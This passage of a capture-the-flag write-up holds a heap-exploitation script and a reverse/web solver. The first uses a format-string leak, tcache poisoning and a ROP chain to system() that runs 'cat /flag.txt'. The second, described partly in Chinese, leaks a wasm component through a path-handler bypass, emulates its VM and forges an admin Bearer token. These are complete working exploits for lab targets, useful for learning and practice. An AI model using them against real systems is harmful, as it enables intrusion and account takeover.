for seg in elf.segments:
h = seg.header
if h.p_type != "PT_LOAD":
continue
if not (int(h.p_flags) & 1):
continue
off = int(h.p_offset)
size = int(h.p_filesz)
vaddr = int(h.p_vaddr)
idx = data[off:off + size].find(pat)
if idx != -1:
return elf.address + vaddr + idx
return None
def make_system_rop(arg):
ret = pie + OFF_RET
pop_rdi = find_exec_gadget(libc, b"\x5f\xc3")
if pop_rdi:
return flat(ret, pop_rdi, arg, libc.sym["system"])
pop_rdi_rbp = find_exec_gadget(libc, b"\x5f\x5d\xc3")
if pop_rdi_rbp:
return flat(pop_rdi_rbp, arg, 0, libc.sym["system"])
pop_rdi_r12 = find_exec_gadget(libc, b"\x5f\x41\x5c\xc3")
if pop_rdi_r12:
return flat(pop_rdi_r12, arg, 0, libc.sym["system"])
raise RuntimeError("no gadget")
fmt = b"%7$p.%13$p.\n"
reg(fmt)
out = show(0)
line = out.split(b"\n", 1)[0]
m = re.search(
rb"username:\s*(0x[0-9a-fA-F]+|\(nil\))\.(0x[0-9a-fA-F]+|\(nil\))\.",
line
)
pie = int(m.group(1), 16) - OFF_PIE_LEAK_RET
stack_hint = int(m.group(2), 16)
raw = raw_from_show(out)
fp0 = u64(raw[0x40:0x48])
A = fp0 - 0x50
B = A + 0x230
slots = pie + OFF_SLOTS
read_got = pie + OFF_READ_GOT
log.info(f"PIE = {hex(pie)}")
log.info(f"stack hint = {hex(stack_hint)}")
log.info(f"FILE0 = {hex(fp0)}")
log.info(f"slots[] = {hex(slots)}")
reg(b"B" * 0x3f + b"\n")
upd(0, b"C" * 0x40 + p64x(fp0) + p64x(0x51))
dele(0)
reg(b"D" * 0x3f + b"\n")
reg(b"E" * 0x3f + b"\n")
dele(0)
dele(1)
enc = slots ^ (B >> 12)
upd(2, b"F" * 0x1e0 + p64x(enc) + p64x(0))
reg(b"G" * 0x3f + b"\n")
reg(p64x(0) + p64x(0) + p64x(0) + p64x(0))
log.success("controlled slots[]")
read_addr = u64(leak48(read_got)[:8])
libc.address = read_addr - libc.sym["read"]
log.success(f"libc base = {hex(libc.address)}")
stack_ret = find_stack_ret(stack_hint)
log.success(f"stack ret = {hex(stack_ret)}")
cmd_addr = slots + 0x80
payload = flat(
p64x(stack_ret),
p64x(slots),
p64x(0),
p64x(0),
)
payload = payload.ljust(0x80, b"\x00") + b"cat /flag.txt\x00"
upd(1, payload)
rop = make_system_rop(cmd_addr)
menu(4)
io.recvuntil(b"slot: ")
io.sendline(b"0")
io.recvuntil(b"new username: ")
io.send(rop.ljust(0x200, b"\x00"))
print(io.recvall(timeout=3).decode(errors="ignore"))

Flag: NHNC{0x67676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767_sixseven!!!}


Confused Component - Revh2

  • Author: hsuan0223x

這題是 Web 題的延伸。先用 Web 題找到的 static handler bypass 洩漏同一個 instance 的 auth component,接著從 wasm 裡找出 CCVM1 blob,實作 VM 後對 admin payload 算 proof。最後把 {uid, team, exp, nonce, proof} 做 canonical JSON,再 base64url 成 Bearer token 打 /admin/flag

Exploit:

  1. 從同一個 instance leak component:/assets/manual.css;handler=component;name=auth
  2. 在 wasm 裡搜尋 CCVM1,切出 constants 和 bytecode
  3. /api/infoteamserver_time
  4. nonce = sha256(f"{team}:{server_time}")[:16]
  5. 對 admin core payload 做 canonical JSON
  6. 用 VM 跑出 32 bytes proof
  7. final payload 加上 proof 後 base64url,作為 Authorization: Bearer <token>/admin/flag
  • solver.py
#!/usr/bin/env python3
import base64, hashlib, json, struct, sys
import requests
BASE = sys.argv[1].rstrip("/")
MASK = 0xffffffff
def b64(x):
return base64.urlsafe_b64encode(x).rstrip(b"=").decode()
def canon(o):
return json.dumps(o, separators=(",", ":"), sort_keys=True).encode()
def u32(b, i):
return struct.unpack_from("<I", b, i)[0]
def rol(x, n):
x &= MASK
n &= 31
return ((x << n) | (x >> (32 - n))) & MASK
def get_component():
r = requests.get(BASE + "/assets/manual.css;handler=component;name=auth")
r.raise_for_status()
return r.content
def parse_ccvm(wasm):
p = wasm.find(b"CCVM1")
assert p != -1
clen, blen = struct.unpack_from("<HH", wasm, p + 5)
constants = wasm[p + 9:p + 9 + clen]
bytecode = wasm[p + 9 + clen:p + 9 + clen + blen]
return constants, bytecode
def run_vm(code, const, inp):
r = [0] * 8
mem = bytearray(256)
ip = 0
while True:
op = code[ip]
ip += 1
if op == 0x01:
a = code[ip]
r[a] = u32(code, ip + 1)
ip += 5
elif op == 0x02:
a, off = code[ip], code[ip + 1]
r[a] = u32(inp, off)
ip += 2
elif op == 0x03:
a, idx = code[ip], code[ip + 1]
r[a] = u32(const, idx * 4)
ip += 2
elif op == 0x04:
a, b = code[ip], code[ip + 1]
r[a] = (r[a] ^ r[b]) & MASK
ip += 2
elif op == 0x05:
a, b = code[ip], code[ip + 1]
r[a] = (r[a] + r[b]) & MASK
ip += 2
elif op == 0x06:
a, n = code[ip], code[ip + 1]
r[a] = rol(r[a], n)
ip += 2
elif op == 0x07:
a, b = code[ip], code[ip + 1]
r[a] = (r[a] * r[b]) & MASK
ip += 2
elif op == 0x08:
off, a = code[ip], code[ip + 1]
mem[off:off + 4] = struct.pack("<I", r[a] & MASK)
ip += 2
elif op == 0x09:
a, off = code[ip], code[ip + 1]
r[a] = u32(mem, off)
ip += 2
elif op == 0x0a:
dst, a, b = code[ip], code[ip + 1], code[ip + 2]
r[dst] = ((r[a] ^ rol(r[b], 9)) + 0x9e3779b9) & MASK
ip += 3
elif op == 0x0b:
a = code[ip]
rel = struct.unpack("b", code[ip + 1:ip + 2])[0]
ip += 2
if r[a]:
ip += rel
elif op == 0xff:
return bytes(mem[:32])
else:
raise Exception(f"bad opcode {op:#x}")
wasm = get_component()
const, code = parse_ccvm(wasm)
info = requests.get(BASE + "/api/info").json()
team = info["team"]
server_time = int(info["server_time"])
nonce = hashlib.sha256(f"{team}:{server_time}".encode()).digest()[:16]
core = {
"uid": "admin",
"team": team,
"exp": server_time + 900,
"nonce": b64(nonce),
}
c = canon(core)
inp = (
hashlib.sha256(c).digest()
+ nonce
+ hashlib.sha256(nonce + c + const[:16]).digest()
)
proof = run_vm(code, const, inp)
token_payload = dict(core)
token_payload["proof"] = b64(proof)
token = b64(canon(token_payload))
r = requests.get(
BASE + "/admin/flag",
headers={"Authorization": "Bearer " + token},
)
print(r.text)

Comments